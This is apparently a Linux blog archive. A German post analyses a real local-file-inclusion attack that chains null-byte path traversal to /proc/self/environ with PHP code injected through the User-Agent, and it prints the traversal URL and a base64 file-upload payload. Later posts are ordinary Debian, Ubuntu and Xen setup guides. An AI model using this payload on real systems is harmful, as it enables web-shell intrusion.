Archive for the ‘ Linux ’ Category

Kreativer Hack

Heute ist mir auf der Arbeit ein sehr kreativer Hack untergekommen – also mal nicht der übliche 0815 Kram.

Zunächst ein bisschen Linux Grundwissen: In /proc/process-id gibt es zu jedem laufenden Prozess Informationen über die Umgebung des Prozesses. In der Datei environ in diesem Verzeichnis befinden sich alle Umgebungsvariablen des jeweiligen Prozesses. Außerdem kann jeder Prozess sein eigenes Environment über /proc/self/ erreichen. Für einen normalen PHP-Request sieht das ganze dann ungefähr so aus (merkt euch schon mal, dass hier auch der User Agent also die Kennung des Browsers enthalten ist ;) ):

PATH=/usr/local/bin:/usr/bin:/bin
PHPRCDOCUMENT_ROOT=/Document/Root/
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7
HTTP_ACCEPT_ENCODING=gzip,deflate
HTTP_ACCEPT_LANGUAGE=de,en-us;q=0.7,en;q=0.3
HTTP_CONNECTION=keep-alive
HTTP_HOST=www.example.org
HTTP_KEEP_ALIVE=115
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin
REDIRECT_STATUS=200
REDIRECT_URL=/test.php
REMOTE_ADDR=10.10.10.10
REMOTE_PORT=58628
SCRIPT_FILENAME=/Pfad/zum/php-cgi/Binary/php-cgi
SERVER_ADDR=10.11.10.10
SERVER_ADMIN=webmaster@example.org
SERVER_NAME=www.example.org
SERVER_PORT=80
SERVER_SIGNATURE=<ADDRESS>Apache/1.3.37 Server at www.example.org Port 80</ADDRESS>
SERVER_SOFTWARE=Apache
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/test.php
SCRIPT_NAME=/php5_Handler/php
PATH_INFO=/test.php
PATH_TRANSLATED=/Document/Root/test.php
PHPRC=

Nun wollen wir uns einen Teil der Programmierung des Opfers ansehen. Er hat da in etwas sowas gemacht:

<?php include($pagefolder.$variable.".php"); ?>

Ein legitimer Aufruf der Seite war also http://www.example.org/?variable=admin. Bei diesem Aufruf würde dann die Datei admin.php im Verzeichnis $pagefolder eingebunden.

$variable hat er sich aus dem Request der Seite gezogen und nur unzureichend verifiziert in dem er geschaut hat ob die Datei existiert. Dadurch ließen sich prinzipiell alle Dateien einbinden auf die der User Lese-Zugriff hatte, da man die, von der Programmierung vorgegebene, Dateiendung .php umgehen konnte in dem man am Ende des Dateinamens in der URL die Zeichenfolge %00 also einen null character gesetzt hat.

Es war also auch möglich die am Anfang genannte Datei in /proc durch folgenden Aufruf einzubinden.

http://www.example.org/?variable=../../../../../../../../../../../../../../../../../../../../proc/self/environ

Der Inhalt dieser Datei wurde nun innerhalb des normalen Layouts der Seite ausgegeben und, da das Einbinden innerhalb einer PHP-Datei erfolgte, vom PHP Interpreter ausgeführt. Wenn man also nun irgend wie PHP-Code in diese Datei einschleusen könnte, würde dieser ausgeführt werden.

Auf den ersten Blick scheint es nicht möglich PHP-Code in die Datei /proc/self/environ einzuschmuggeln. Wie oben beschrieben enthält sie jedoch auch die Kennung des Browsers, welche vom Client ohne größere Probleme individuell gesetzt werden kann. Und so ist auch der Angreifer in dem vorliegenden Fall vorgegangen. Er hat seine Browserkennung wie folgt gesetzt.

"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) <?
eval(base64_decode("ZWNobyAnPGRpdj48Zm9ybSBlbmN0eXBlPSJtdWx0aXB
hcnQvZm9ybS1kYXRhIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJmaWxlIi
BuYW1lPSJmaWxlIj48aW5wdXQgdHlwZT1zdWJtaXQgICB2YWx1ZT0iVXBsb2FkI
j48L2Zvcm0+PC9kaXY+JztpZiAoaXNzZXQgKCRfRklMRVNbJ2ZpbGUnXVsndG1w
X25hbWUnXSkpeyAkdGVtcG5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1
lJ107ICRuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107IGlmKGNvcHkoIi
R0ZW1wbmFtZSIsICIkbmFtZSIpKXsgZWNobyAiRmlsZSB1cGxvYWRlZCI7IH0gZ
WxzZSB7IGVjaG8gIkZpbGUgbm90IHVwbG9hZGVkISI7IH0gfQ==")); ?>
Gecko/20090729 Firefox/3.5.2"

Der Base64 kodierte Teil enthält ein Upload-Formular über das der Angreifer am Ende eine PHP-Shell hochgeladen hat und somit Zugriff auf den kompletten Webspace des Opfers hatte.

No sound in Firefox on Ubuntu

For some reason I had no sound in Firefox under Ubuntu 9.04 after upgrading from 8.04 and 8.10. In all other applications the sound worked without any problems. After some research I found that the package flashplugin-nonfree-extrasound fixes the issue. You can install it with the following command.

sudo aptitude install flashplugin-nonfree-extrasound

Hope this helps someone out there.

HowTo setup a network bridge under Debian

Before you can start setting up a bridge you need to install the necessary tools, which are contained by the package bridge-utils.

aptitude install bridge-utils

Now you can start configuring the bridge in /etc/network/interfaces. First remove the configuration of the interface which you want to substitute by the bridge. Then insert the data of the bridge:

auto br0
iface br0 inet static
    bridge_ports eth0
    address 192.168.10.10
    netmask 255.255.255.0
    network 192.168.10.0
    broadcast 192.168.10.255
    gateway 192.168.10.1

After rebooting the system you can use the bridge. In my case I needed it for network connectivity of Xen domUs, because I had encountered some weird problems with the default Xen bridging.

Installing domU on single partition

First start with partitioning the partition (in my case it is /dev/sda4) by executing fdisk /dev/sda4. I’ve used the following layout:

Device Boot Start End Blocks Id System
/dev/sda4p1 1 16654 133773223+ 83 Linux
/dev/sda4p2 16655 16898 1959930 82 Linux swap / Solaris

After finishing this step it may be possible that you need to reboot the server, because the kernel can’t read the new partition table. Pay attention on the output which is written to the screen after quitting fdisk.

Now we need to install the package multipath-tools to get the tool kpartx. This is necessary to create the appropriate files in dev to access the partitions of the partition.

Installing multipath-tools
aptitude install multipath-tools

Create files in dev
kpartx -a -v /dev/sda4

This command will create the files sda4p1 and sda4p2 in /dev/mapper. Now we are able to format the root-filesystem and to create the swap area of the new domU.

mke2fs -j /dev/mapper/sda4p1 && mkswap /dev/mapper/sda4p2 && swapon /dev/mapper/sda4p2

When the formatting process is finished, we can start installing the OS for the new domU to the partition. In my case I’ve had a second harddisk (/dev/sdb) on which a Debian Etch has been installed. So I just sync the content of this disk to the new filesystem.

mkdir /mnt/source
mkdir /mnt/target
mount /dev/sdb1 /mnt/source
mount /dev/mapper/sda4p1 /mnt/target
rsync -avxH --numeric-ids /mnt/source /mnt/target
cp -av /lib/modules/2.6.22-14-xen /mnt/target/lib/modules/
umount /mnt/target
umount /mnt/source

After installing the guest OS you should be able to boot the freshly created domU with the Xen-Hypervisor. My domU-config (/etc/xen/domu.example.com) to achieve this goal looks like like below.

arch = os.uname()[4]
if re.search('64', arch):
arch_libdir = 'lib64'
else:
arch_libdir = 'lib'
kernel = "/boot/vmlinuz-2.6.22-14-xen"
ramdisk = "/boot/initrd.img-2.6.22-14-xen"
builder='linux'
memory = 1024
name = "domu.example.com"
vcpus=2
vif = [ 'bridge=xenbr0' ]
disk = [ 'phy:sda4,sda,w' ]
root = "/dev/sda1 ro"
extra = "2 TERM=xterm xencons=tty console=tty1 clock=jiffies"
device_model = '/usr/' + arch_libdir + '/xen/bin/qemu-dm'
boot="c"
sdl=0
vnc=0
vncpasswd=''
stdvga=0
serial='pty'

Let’s come to the end and start the domU!
xm create domu.example.com

Installing Xen 3.1 under Ubuntu

Let’s install Xen under Ubuntu. The installation is very uncomplicated so start with installing the necessary packages.

sudo aptitude install xen-hypervisor xen-utils xen-tools linux-image-xen

After this step run update-grub to make sure that the hypervisor is added to menu.lst. The command will show some output.

Searching for GRUB installation directory ... found: /boot/grub
Searching for default file ... found: /boot/grub/default
Testing for an existing GRUB menu.lst file ... found: /boot/grub/menu.lst
Searching for splash image ... none found, skipping ...
Found Xen hypervisor 3.1, kernel: /boot/vmlinuz-2.6.22-14-xen
Found kernel: /boot/vmlinuz-2.6.22-14-server
Found kernel: /boot/memtest86+.bin
Updating /boot/grub/menu.lst ... done

Now it is time to restart the box to boot the hypervisor. There are a lot of different commands to reboot a Linux box. I prefer init 6. When the OS comes up without any problem, everything should be fine. You can approve if the right kernel is loaded by executing uname -a.

Adapt Ubuntu for my Needs

After the initial installation I change different things for my claims. Do not forget to update your system before the following steps. This can be done by executing the following commands:

aptitude update
aptitude safe-upgrade

  1. Remove CD repository from /etc/apt/sources.list.
  2. Install vim to get my favourite text editor.
    aptitude install vim
  3. Enable syntax highlighting in /etc/vim/vimrc.
  4. Remove # from the following rows in ~/.bashrc to make daily business easier.
    # alias ll='ls -l'
    # alias la='ls -A'
    # alias l='ls -CF'
  5. Install some other often used tools.
    aptitude install mc traceroute lynx screen

Installing Ubuntu

Alright, let’s start installing Ubuntu Linux on the server. You can find my hardware specs in previous post in German. First of all download the iso image from an Ubuntu mirror of your choice. I have got the image from the Link below:

Download

After downloading the image burn it to a cd and boot the computer/server from it. Most of the time you can follow the instructions on the screen. I’ve changed the harddisk layout for my needs. Because I’m going to install Xen on the server, I decided to use the following partitioning:

Device Boot Start End Blocks Id System
/dev/sda1 * 1 1216 9767488+ 83 Linux
/dev/sda2 1217 1459 1951897+ 82 Linux swap / Solaris
/dev/sda3 1460 13617 97659135 83 Linux
/dev/sda4 13618 30515 135733185 83 Linux

  • /dev/sda1 will be mounted to /
  • /dev/sda2 is the swap area
  • /dev/sda3 will be mounted to /home for storing images for the domU’s
  • /dev/sda4 will be exported as one harddisk to a special domU

During the package selection I choose only SSH-Server. Everything else will be installed after finishing the installation. So if everything is ready, reboot into your fresh installed Ubuntu Linux.